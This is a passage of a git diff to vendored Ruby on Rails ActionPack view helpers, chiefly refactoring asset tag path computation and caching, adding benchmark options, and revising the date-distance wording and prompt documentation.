+    # synchronized. If one of them drifts out of sync, you'll see different
+    # timestamps at random and the cache won't work. In that case the browser
+    # will request the same assets over and over again even thought they didn't
+    # change. You can use something like Live HTTP Headers for Firefox to verify
+    # that the cache is indeed working.
     module AssetTagHelper
       ASSETS_DIR      = defined?(Rails.public_path) ? Rails.public_path : "public"
       JAVASCRIPTS_DIR = "#{ASSETS_DIR}/javascripts"
@@ -111,7 +141,7 @@ module ActionView
       # <tt>:atom</tt>. Control the link options in url_for format using the
       # +url_options+. You can modify the LINK tag itself in +tag_options+.
       #
-      # ==== Options:
+      # ==== Options
       # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
       # * <tt>:type</tt>  - Override the auto-generated mime type
       # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
@@ -151,7 +181,7 @@ module ActionView
       #   javascript_path "http://www.railsapplication.com/js/xmlhr" # => http://www.railsapplication.com/js/xmlhr.js
       #   javascript_path "http://www.railsapplication.com/js/xmlhr.js" # => http://www.railsapplication.com/js/xmlhr.js
       def javascript_path(source)
-        JavaScriptTag.new(self, @controller, source).public_path
+        compute_public_path(source, 'javascripts', 'js')
       end
       alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
 
@@ -242,24 +272,25 @@ module ActionView
       #   javascript_include_tag :all, :cache => true, :recursive => true
       def javascript_include_tag(*sources)
         options = sources.extract_options!.stringify_keys
-        cache   = options.delete("cache")
+        concat  = options.delete("concat")
+        cache   = concat || options.delete("cache")
         recursive = options.delete("recursive")
 
-        if ActionController::Base.perform_caching && cache
+        if concat || (ActionController::Base.perform_caching && cache)
           joined_javascript_name = (cache == true ? "all" : cache) + ".js"
-          joined_javascript_path = File.join(JAVASCRIPTS_DIR, joined_javascript_name)
+          joined_javascript_path = File.join(joined_javascript_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : JAVASCRIPTS_DIR, joined_javascript_name)
 
-          unless File.exists?(joined_javascript_path)
-            JavaScriptSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_javascript_path)
+          unless ActionController::Base.perform_caching && File.exists?(joined_javascript_path)
+            write_asset_file_contents(joined_javascript_path, compute_javascript_paths(sources, recursive))
           end
           javascript_src_tag(joined_javascript_name, options)
         else
-          JavaScriptSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
-            javascript_src_tag(source, options)
-          }.join("\n")
+          expand_javascript_sources(sources, recursive).collect { |source| javascript_src_tag(source, options) }.join("\n").html_safe!
         end
       end
 
+      @@javascript_expansions = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
+
       # Register one or more javascript files to be included when <tt>symbol</tt>
       # is passed to <tt>javascript_include_tag</tt>. This method is typically intended
       # to be called from plugin initialization to register javascript files
@@ -272,9 +303,11 @@ module ActionView
       #     <script type="text/javascript" src="/javascripts/body.js"></script>
       #     <script type="text/javascript" src="/javascripts/tail.js"></script>
       def self.register_javascript_expansion(expansions)
-        JavaScriptSources.expansions.merge!(expansions)
+        @@javascript_expansions.merge!(expansions)
       end
 
+      @@stylesheet_expansions = {}
+
       # Register one or more stylesheet files to be included when <tt>symbol</tt>
       # is passed to <tt>stylesheet_link_tag</tt>. This method is typically intended
       # to be called from plugin initialization to register stylesheet files
@@ -287,7 +320,7 @@ module ActionView
       #     <link href="/stylesheets/body.css"  media="screen" rel="stylesheet" type="text/css" />
       #     <link href="/stylesheets/tail.css"  media="screen" rel="stylesheet" type="text/css" />
       def self.register_stylesheet_expansion(expansions)
-        StylesheetSources.expansions.merge!(expansions)
+        @@stylesheet_expansions.merge!(expansions)
       end
 
       # Register one or more additional JavaScript files to be included when
@@ -295,11 +328,11 @@ module ActionView
       # typically intended to be called from plugin initialization to register additional
       # .js files that the plugin installed in <tt>public/javascripts</tt>.
       def self.register_javascript_include_default(*sources)
-        JavaScriptSources.expansions[:defaults].concat(sources)
+        @@javascript_expansions[:defaults].concat(sources)
       end
 
       def self.reset_javascript_include_default #:nodoc:
-        JavaScriptSources.expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
+        @@javascript_expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
       end
 
       # Computes the path to a stylesheet asset in the public stylesheets directory.
@@ -314,7 +347,7 @@ module ActionView
       #   stylesheet_path "http://www.railsapplication.com/css/style" # => http://www.railsapplication.com/css/style.css
       #   stylesheet_path "http://www.railsapplication.com/css/style.js" # => http://www.railsapplication.com/css/style.css
       def stylesheet_path(source)
-        StylesheetTag.new(self, @controller, source).public_path
+        compute_public_path(source, 'stylesheets', 'css')
       end
       alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
 
@@ -380,23 +413,28 @@ module ActionView
       # The <tt>:recursive</tt> option is also available for caching:
       #
       #   stylesheet_link_tag :all, :cache => true, :recursive => true
+      #
+      # To force concatenation (even in development mode) set <tt>:concat</tt> to true. This is useful if
+      # you have too many stylesheets for IE to load.
+      #
+      #   stylesheet_link_tag :all, :concat => true
+      #
       def stylesheet_link_tag(*sources)
         options = sources.extract_options!.stringify_keys
-        cache   = options.delete("cache")
+        concat  = options.delete("concat")
+        cache   = concat || options.delete("cache")
         recursive = options.delete("recursive")
 
-        if ActionController::Base.perform_caching && cache
+        if concat || (ActionController::Base.perform_caching && cache)
           joined_stylesheet_name = (cache == true ? "all" : cache) + ".css"
-          joined_stylesheet_path = File.join(STYLESHEETS_DIR, joined_stylesheet_name)
+          joined_stylesheet_path = File.join(joined_stylesheet_name[/^#{File::SEPARATOR}/] ? ASSETS_DIR : STYLESHEETS_DIR, joined_stylesheet_name)
 
-          unless File.exists?(joined_stylesheet_path)
-            StylesheetSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_stylesheet_path)
+          unless ActionController::Base.perform_caching && File.exists?(joined_stylesheet_path)
+            write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive))
           end
           stylesheet_tag(joined_stylesheet_name, options)
         else
-          StylesheetSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
-            stylesheet_tag(source, options)
-          }.join("\n")
+          expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join("\n").html_safe!
         end
       end
 
@@ -411,7 +449,7 @@ module ActionView
       #   image_path("/icons/edit.png")                              # => /icons/edit.png
       #   image_path("http://www.railsapplication.com/img/edit.png") # => http://www.railsapplication.com/img/edit.png
       def image_path(source)
-        ImageTag.new(self, @controller, source).public_path
+        compute_public_path(source, 'images')
       end
       alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
 
@@ -466,7 +504,118 @@ module ActionView
         tag("img", options)
       end
 
+      def self.cache_asset_timestamps
+        @@cache_asset_timestamps
+      end
+
+      # You can enable or disable the asset tag timestamps cache.
+      # With the cache enabled, the asset tag helper methods will make fewer
+      # expense file system calls. However this prevents you from modifying
+      # any asset files while the server is running.
+      #
+      #   ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
+      def self.cache_asset_timestamps=(value)
+        @@cache_asset_timestamps = value
+      end
+
+      @@cache_asset_timestamps = true
+
       private
+        # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
+        # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
+        # roots. Rewrite the asset path for cache-busting asset ids. Include
+        # asset host, if configured, with the correct request protocol.
+        def compute_public_path(source, dir, ext = nil, include_host = true)
+          has_request = @controller.respond_to?(:request)
+
+          source_ext = File.extname(source)[1..-1]
+          if ext && (source_ext.blank? || (ext != source_ext && File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}"))))
+            source += ".#{ext}"
+          end
+
+          unless source =~ %r{^[-a-z]+://}
+            source = "/#{dir}/#{source}" unless source[0] == ?/
+
+            source = rewrite_asset_path(source)
+
+            if has_request && include_host
+              unless source =~ %r{^#{ActionController::Base.relative_url_root}/}
+                source = "#{ActionController::Base.relative_url_root}#{source}"
+              end
+            end
+          end
+
+          if include_host && source !~ %r{^[-a-z]+://}
+            host = compute_asset_host(source)
+
+            if has_request && !host.blank? && host !~ %r{^[-a-z]+://}
+              host = "#{@controller.request.protocol}#{host}"
+            end
+
+            "#{host}#{source}"
+          else
+            source
+          end
+        end
+
+        # Pick an asset host for this source. Returns +nil+ if no host is set,
+        # the host if no wildcard is set, the host interpolated with the
+        # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+        # or the value returned from invoking the proc if it's a proc or the value from
+        # invoking call if it's an object responding to call.
+        def compute_asset_host(source)
+          if host = ActionController::Base.asset_host
+            if host.is_a?(Proc) || host.respond_to?(:call)
+              case host.is_a?(Proc) ? host.arity : host.method(:call).arity
+              when 2
+                request = @controller.respond_to?(:request) && @controller.request
+                host.call(source, request)
+              else
+                host.call(source)
+              end
+            else
+              (host =~ /%d/) ? host % (source.hash % 4) : host
+            end
+          end
+        end
+
+        @@asset_timestamps_cache = {}
+        @@asset_timestamps_cache_guard = Mutex.new
+
+        # Use the RAILS_ASSET_ID environment variable or the source's
+        # modification time as its cache-busting asset id.
+        def rails_asset_id(source)
+          if asset_id = ENV["RAILS_ASSET_ID"]
+            asset_id
+          else
+            if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])
+              asset_id
+            else
+              path = File.join(ASSETS_DIR, source)
+              asset_id = File.exist?(path) ? File.mtime(path).to_i.to_s : ''
+
+              if @@cache_asset_timestamps
+                @@asset_timestamps_cache_guard.synchronize do
+                  @@asset_timestamps_cache[source] = asset_id
+                end
+              end
+
+              asset_id
+            end
+          end
+        end
+
+        # Break out the asset path rewrite in case plugins wish to put the asset id
+        # someplace other than the query string.
+        def rewrite_asset_path(source)
+          asset_id = rails_asset_id(source)
+          if asset_id.blank?
+            source
+          else
+            source + "?#{asset_id}"
+          end
+        end
+
         def javascript_src_tag(source, options)
           content_tag("script", "", { "type" => Mime::JS, "src" => path_to_javascript(source) }.merge(options))
         end
@@ -475,342 +624,70 @@ module ActionView
           tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => html_escape(path_to_stylesheet(source)) }.merge(options), false, false)
         end
 
-        module ImageAsset
-          DIRECTORY = 'images'.freeze
+        def compute_javascript_paths(*args)
+          expand_javascript_sources(*args).collect { |source| compute_public_path(source, 'javascripts', 'js', false) }
+        end
 
-          def directory
-            DIRECTORY
-          end
+        def compute_stylesheet_paths(*args)
+          expand_stylesheet_sources(*args).collect { |source| compute_public_path(source, 'stylesheets', 'css', false) }
+        end
 
-          def extension
-            nil
+        def expand_javascript_sources(sources, recursive = false)
+          if sources.include?(:all)
+            all_javascript_files = collect_asset_files(JAVASCRIPTS_DIR, ('**' if recursive), '*.js')
+            ((determine_source(:defaults, @@javascript_expansions).dup & all_javascript_files) + all_javascript_files).uniq
+          else
+            expanded_sources = sources.collect do |source|
+              determine_source(source, @@javascript_expansions)
+            end.flatten
+            expanded_sources << "application" if sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, "application.js"))
+            expanded_sources
           end
         end
 
-        module JavaScriptAsset
-          DIRECTORY = 'javascripts'.freeze
-          EXTENSION = 'js'.freeze
-
-          def public_directory
-            JAVASCRIPTS_DIR
-          end
-
-          def directory
-            DIRECTORY
-          end
-
-          def extension
-            EXTENSION
+        def expand_stylesheet_sources(sources, recursive)
+          if sources.first == :all
+            collect_asset_files(STYLESHEETS_DIR, ('**' if recursive), '*.css')
+          else
+            sources.collect do |source|
+              determine_source(source, @@stylesheet_expansions)
+            end.flatten
           end
         end
 
-        module StylesheetAsset
-          DIRECTORY = 'stylesheets'.freeze
-          EXTENSION = 'css'.freeze
-
-          def public_directory
-            STYLESHEETS_DIR
-          end
-
-          def directory
-            DIRECTORY
-          end
-
-          def extension
-            EXTENSION
+        def determine_source(source, collection)
+          case source
+          when Symbol
+            collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
+          else
+            source
           end
         end
 
-        class AssetTag
-          extend ActiveSupport::Memoizable
-
-          Cache = {}
-          CacheGuard = Mutex.new
-
-          ProtocolRegexp = %r{^[-a-z]+://}.freeze
-
-          def initialize(template, controller, source, include_host = true)
-            # NOTE: The template arg is temporarily needed for a legacy plugin
-            # hook that is expected to call rewrite_asset_path on the
-            # template. This should eventually be removed.
-            @template = template
-            @controller = controller
-            @source = source
-            @include_host = include_host
-            @cache_key = if controller.respond_to?(:request)
-              [self.class.name,controller.request.protocol,
-               ActionController::Base.asset_host,
-               ActionController::Base.relative_url_root,
-               source, include_host]
-            else
-              [self.class.name,ActionController::Base.asset_host, source, include_host]
-            end
-          end
-          
-          def public_path
-            compute_public_path(@source)
-          end
-          memoize :public_path
-
-          def asset_file_path
-            File.join(ASSETS_DIR, public_path.split('?').first)
-          end
-          memoize :asset_file_path
-
-          def contents
-            File.read(asset_file_path)
-          end
-
-          def mtime
-            File.mtime(asset_file_path)
-          end
-
-          private
-            def request
-              @controller.request
-            end
-
-            def request?
-              @controller.respond_to?(:request)
-            end
-
-            # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
-            # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
-            # roots. Rewrite the asset path for cache-busting asset ids. Include
-            # asset host, if configured, with the correct request protocol.
-            def compute_public_path(source)
-              if source =~ ProtocolRegexp
-                source += ".#{extension}" if missing_extension?(source)
-                source = prepend_asset_host(source)
-                source
-              else
-                CacheGuard.synchronize do
-                  Cache[@cache_key] ||= begin
-                    source += ".#{extension}" if missing_extension?(source) || file_exists_with_extension?(source)
-                    source = "/#{directory}/#{source}" unless source[0] == ?/
-                    source = rewrite_asset_path(source)
-                    source = prepend_relative_url_root(source)                
-                    source = prepend_asset_host(source)
-                    source
-                  end
-                end
-              end
-            end
-            
-            def missing_extension?(source)
-              extension && File.extname(source).blank?
-            end
-            
-            def file_exists_with_extension?(source)
-              extension && File.exist?(File.join(ASSETS_DIR, directory, "#{source}.#{extension}"))
-            end
-            
-            def prepend_relative_url_root(source)
-              relative_url_root = ActionController::Base.relative_url_root
-              if request? && @include_host && source !~ %r{^#{relative_url_root}/}
-                "#{relative_url_root}#{source}"
-              else
-                source
-              end
-            end
-
-            def prepend_asset_host(source)
-              if @include_host && source !~ ProtocolRegexp
-                host = compute_asset_host(source)
-                if request? && !host.blank? && host !~ ProtocolRegexp
-                  host = "#{request.protocol}#{host}"
-                end
-                "#{host}#{source}"
-              else
-                source
-              end
-            end
-
-            # Pick an asset host for this source. Returns +nil+ if no host is set,
-            # the host if no wildcard is set, the host interpolated with the
-            # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
-            # or the value returned from invoking the proc if it's a proc.
-            def compute_asset_host(source)
-              if host = ActionController::Base.asset_host
-                if host.is_a?(Proc)
-                  case host.arity
-                  when 2
-                    host.call(source, request)
-                  else
-                    host.call(source)
-                  end
-                else
-                  (host =~ /%d/) ? host % (source.hash % 4) : host
-                end
-              end
-            end
-
-            # Use the RAILS_ASSET_ID environment variable or the source's
-            # modification time as its cache-busting asset id.
-            def rails_asset_id(source)
-              if asset_id = ENV["RAILS_ASSET_ID"]
-                asset_id
-              else
-                path = File.join(ASSETS_DIR, source)
-
-                if File.exist?(path)
-                  File.mtime(path).to_i.to_s
-                else
-                  ''
-                end
-              end
-            end
-
-            # Break out the asset path rewrite in case plugins wish to put the asset id
-            # someplace other than the query string.
-            def rewrite_asset_path(source)
-              if @template.respond_to?(:rewrite_asset_path)
-                # DEPRECATE: This way to override rewrite_asset_path
-                @template.send(:rewrite_asset_path, source)
-              else
-                asset_id = rails_asset_id(source)
-                if asset_id.blank?
-                  source
-                else
-                  "#{source}?#{asset_id}"
-                end
-              end
-            end
+        def join_asset_file_contents(paths)
+          paths.collect { |path| File.read(asset_file_path(path)) }.join("\n\n")
         end
 
-        class ImageTag < AssetTag
-          include ImageAsset
+        def write_asset_file_contents(joined_asset_path, asset_paths)
+          FileUtils.mkdir_p(File.dirname(joined_asset_path))
+          File.open(joined_asset_path, "w+") { |cache| cache.write(join_asset_file_contents(asset_paths)) }
+
+          # Set mtime to the latest of the combined files to allow for
+          # consistent ETag without a shared filesystem.
+          mt = asset_paths.map { |p| File.mtime(asset_file_path(p)) }.max
+          File.utime(mt, mt, joined_asset_path)
         end
 
-        class JavaScriptTag < AssetTag
-          include JavaScriptAsset
+        def asset_file_path(path)
+          File.join(ASSETS_DIR, path.split('?').first)
         end
 
-        class StylesheetTag < AssetTag
-          include StylesheetAsset
-        end
+        def collect_asset_files(*path)
+          dir = path.first
 
-        class AssetCollection
-          extend ActiveSupport::Memoizable
-
-          Cache = {}
-          CacheGuard = Mutex.new
-
-          def self.create(template, controller, sources, recursive)
-            CacheGuard.synchronize do
-              key = [self, sources, recursive]
-              Cache[key] ||= new(template, controller, sources, recursive).freeze
-            end
-          end
-
-          def initialize(template, controller, sources, recursive)
-            # NOTE: The template arg is temporarily needed for a legacy plugin
-            # hook. See NOTE under AssetTag#initialize for more details
-            @template = template
-            @controller = controller
-            @sources = sources
-            @recursive = recursive
-          end
-
-          def write_asset_file_contents(joined_asset_path)
-            FileUtils.mkdir_p(File.dirname(joined_asset_path))
-            File.open(joined_asset_path, "w+") { |cache| cache.write(joined_contents) }
-            mt = latest_mtime
-            File.utime(mt, mt, joined_asset_path)
-          end
-
-          private
-            def determine_source(source, collection)
-              case source
-              when Symbol
-                collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
-              else
-                source
-              end
-            end
-
-            def validate_sources!
-              @sources.collect { |source| determine_source(source, self.class.expansions) }.flatten
-            end
-
-            def all_asset_files
-              path = [public_directory, ('**' if @recursive), "*.#{extension}"].compact
-              Dir[File.join(*path)].collect { |file|
-                file[-(file.size - public_directory.size - 1)..-1].sub(/\.\w+$/, '')
-              }.sort
-            end
-
-            def tag_sources
-              expand_sources.collect { |source| tag_class.new(@template, @controller, source, false) }
-            end
-
-            def joined_contents
-              tag_sources.collect { |source| source.contents }.join("\n\n")
-            end
-
-            # Set mtime to the latest of the combined files to allow for
-            # consistent ETag without a shared filesystem.
-            def latest_mtime
-              tag_sources.map { |source| source.mtime }.max
-            end
-        end
-
-        class JavaScriptSources < AssetCollection
-          include JavaScriptAsset
-
-          EXPANSIONS = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
-
-          def self.expansions
-            EXPANSIONS
-          end
-
-          APPLICATION_JS = "application".freeze
-          APPLICATION_FILE = "application.js".freeze
-
-          def expand_sources
-            if @sources.include?(:all)
-              assets = all_asset_files
-              ((defaults.dup & assets) + assets).uniq!
-            else
-              expanded_sources = validate_sources!
-              expanded_sources << APPLICATION_JS if include_application?
-              expanded_sources
-            end
-          end
-          memoize :expand_sources
-
-          private
-            def tag_class
-              JavaScriptTag
-            end
-
-            def defaults
-              determine_source(:defaults, self.class.expansions)
-            end
-
-            def include_application?
-              @sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, APPLICATION_FILE))
-            end
-        end
-
-        class StylesheetSources < AssetCollection
-          include StylesheetAsset
-
-          EXPANSIONS = {}
-
-          def self.expansions
-            EXPANSIONS
-          end
-
-          def expand_sources
-            @sources.first == :all ? all_asset_files : validate_sources!
-          end
-          memoize :expand_sources
-
-          private
-            def tag_class
-              StylesheetTag
-            end
+          Dir[File.join(*path.compact)].collect do |file|
+            file[-(file.size - dir.size - 1)..-1].sub(/\.\w+$/, '')
+          end.sort
         end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb
index cd256849..9951e11a 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb
@@ -30,7 +30,7 @@ module ActionView
       #   app/views/posts/index.atom.builder:
       #     atom_feed do |feed|
       #       feed.title("My great blog!")
-      #       feed.updated((@posts.first.created_at))
+      #       feed.updated(@posts.first.created_at)
       #
       #       for post in @posts
       #         feed.entry(post) do |entry|
@@ -98,7 +98,7 @@ module ActionView
           options[:schema_date] = "2005" # The Atom spec copyright date
         end
 
-        xml = options[:xml] || eval("xml", block.binding)
+        xml = options.delete(:xml) || eval("xml", block.binding)
         xml.instruct!
         if options[:instruct]
           options[:instruct].each do |target,attrs|
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb
index bd72cda7..61c2cecb 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb
@@ -18,16 +18,37 @@ module ActionView
       # That would add something like "Process data files (345.2ms)" to the log,
       # which you can then use to compare timings when optimizing your code.
       #
-      # You may give an optional logger level as the second argument
+      # You may give an optional logger level as the :level option.
       # (:debug, :info, :warn, :error); the default value is :info.
-      def benchmark(message = "Benchmarking", level = :info)
+      #
+      #  <% benchmark "Low-level files", :level => :debug do %>
+      #    <%= lowlevel_files_operation %>
+      #  <% end %>
+      #
+      # Finally, you can pass true as the third argument to silence all log activity 
+      # inside the block. This is great for boiling down a noisy block to just a single statement:
+      #
+      #  <% benchmark "Process data files", :level => :info, :silence => true do %>
+      #    <%= expensive_and_chatty_files_operation %>
+      #  <% end %>
+      def benchmark(message = "Benchmarking", options = {})
         if controller.logger
-          seconds = Benchmark.realtime { yield }
-          controller.logger.send(level, "#{message} (#{'%.1f' % (seconds * 1000)}ms)")
+          if options.is_a?(Symbol)
+            ActiveSupport::Deprecation.warn("use benchmark('#{message}', :level => :#{options}) instead", caller)
+            options = { :level => options, :silence => false }
+          else
+            options.assert_valid_keys(:level, :silence)
+            options[:level] ||= :info
+          end
+          
+          result = nil
+          ms = Benchmark.ms { result = options[:silence] ? controller.logger.silence { yield } : yield }
+          controller.logger.send(options[:level], '%s (%.1fms)' % [ message, ms ])
+          result
         else
           yield
         end
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb
index e86ca27f..40411c28 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb
@@ -118,13 +118,13 @@ module ActionView
       def content_for(name, content = nil, &block)
         ivar = "@content_for_#{name}"
         content = capture(&block) if block_given?
-        instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}")
+        instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}".html_safe!)
         nil
       end
 
       # Use an alternate output buffer for the duration of the block.
       # Defaults to a new empty string.
-      def with_output_buffer(buf = '') #:nodoc:
+      def with_output_buffer(buf = "") #:nodoc:
         self.output_buffer, old_buffer = buf, output_buffer
         yield
         output_buffer
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb
index 22108dd9..912d59e9 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb
@@ -26,8 +26,10 @@ module ActionView
       #   47 hrs, 59 mins, 29 secs <-> 29 days, 23 hrs, 59 mins, 29 secs            # => [2..29] days
       #   29 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
       #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
-      #   1 yr <-> 2 yrs minus 1 secs                                               # => about 1 year
-      #   2 yrs <-> max time or date                                                # => over [2..X] years
+      #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
+      #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
+      #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
+      #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
       #
       # With <tt>include_seconds</tt> = true and the difference < 1 minute 29 seconds:
       #   0-4   secs      # => less than 5 seconds
@@ -43,17 +45,18 @@ module ActionView
       #   distance_of_time_in_words(from_time, 50.minutes.from_now)           # => about 1 hour
       #   distance_of_time_in_words(from_time, from_time + 15.seconds)        # => less than a minute
       #   distance_of_time_in_words(from_time, from_time + 15.seconds, true)  # => less than 20 seconds
-      #   distance_of_time_in_words(from_time, 3.years.from_now)              # => over 3 years
+      #   distance_of_time_in_words(from_time, 3.years.from_now)              # => about 3 years
       #   distance_of_time_in_words(from_time, from_time + 60.hours)          # => about 3 days
       #   distance_of_time_in_words(from_time, from_time + 45.seconds, true)  # => less than a minute
       #   distance_of_time_in_words(from_time, from_time - 45.seconds, true)  # => less than a minute
       #   distance_of_time_in_words(from_time, 76.seconds.from_now)           # => 1 minute
       #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)   # => about 1 year
-      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => over 4 years
+      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
+      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
       #
       #   to_time = Time.now + 6.years + 19.days
-      #   distance_of_time_in_words(from_time, to_time, true)     # => over 6 years
-      #   distance_of_time_in_words(to_time, from_time, true)     # => over 6 years
+      #   distance_of_time_in_words(from_time, to_time, true)     # => about 6 years
+      #   distance_of_time_in_words(to_time, from_time, true)     # => about 6 years
       #   distance_of_time_in_words(Time.now, Time.now)           # => less than a minute
       #
       def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false, options = {})
@@ -81,12 +84,21 @@ module ActionView
             when 2..44           then locale.t :x_minutes,      :count => distance_in_minutes
             when 45..89          then locale.t :about_x_hours,  :count => 1
             when 90..1439        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
-            when 1440..2879      then locale.t :x_days,         :count => 1
-            when 2880..43199     then locale.t :x_days,         :count => (distance_in_minutes / 1440).round
+            when 1440..2529      then locale.t :x_days,         :count => 1
+            when 2530..43199     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
             when 43200..86399    then locale.t :about_x_months, :count => 1
-            when 86400..525599   then locale.t :x_months,       :count => (distance_in_minutes / 43200).round
-            when 525600..1051199 then locale.t :about_x_years,  :count => 1
-            else                      locale.t :over_x_years,   :count => (distance_in_minutes / 525600).round
+            when 86400..525599   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
+            else
+              distance_in_years           = distance_in_minutes / 525600
+              minute_offset_for_leap_year = (distance_in_years / 4) * 1440
+              remainder                   = ((distance_in_minutes - minute_offset_for_leap_year) % 525600)
+              if remainder < 131400
+                locale.t(:about_x_years,  :count => distance_in_years)
+              elsif remainder < 394200
+                locale.t(:over_x_years,   :count => distance_in_years)
+              else
+                locale.t(:almost_x_years, :count => distance_in_years + 1)
+              end
           end
         end
       end
@@ -111,7 +123,7 @@ module ActionView
       #
       # ==== Options
       # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
-      #    "2" instead of "February").
+      #   "2" instead of "February").
       # * <tt>:use_short_month</tt>   - Set to true if you want to use the abbreviated month name instead of the full
       #   name (e.g. "Feb" instead of "February").
       # * <tt>:add_month_number</tt>  - Set to true if you want to show both, the month's number and name (e.g.
@@ -136,6 +148,10 @@ module ActionView
       #   dates.
       # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is nil.
       # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
+      # * <tt>:prompt</tt>            - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+      #   for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+      #   Setting this option prepends a select option with a generic prompt  (Day, Month, Year, Hour, Minute, Seconds)
+      #   or the given prompt string.
       #
       # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
       #
@@ -171,6 +187,9 @@ module ActionView
       #   # that will have a default day of 20.
       #   date_select("credit_card", "bill_due", :default => { :day => 20 })
       #
+      #   # Generates a date select with custom prompts
+      #   date_select("post", "written_on", :prompt => { :day => 'Select day', :month => 'Select month', :year => 'Select year' })
+      #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       #
       # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
@@ -210,6 +229,11 @@ module ActionView
       #   # You can set the :minute_step to 15 which will give you: 00, 15, 30 and 45.
       #   time_select 'game', 'game_time', {:minute_step => 15}
       #
+      #   # Creates a time select tag with a custom prompt. Use :prompt => true for generic prompts.
+      #   time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
+      #   time_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
+      #   time_select("post", "written_on", :prompt => true) # generic prompts for all
+      #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       #
       # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
@@ -241,6 +265,11 @@ module ActionView
       #   # as the written_on attribute.
       #   datetime_select("post", "written_on", :discard_type => true)
       #
+      #   # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
+      #   datetime_select("post", "written_on", :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
+      #   datetime_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
+      #   datetime_select("post", "written_on", :prompt => true) # generic prompts for all
+      #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       def datetime_select(object_name, method, options = {}, html_options = {})
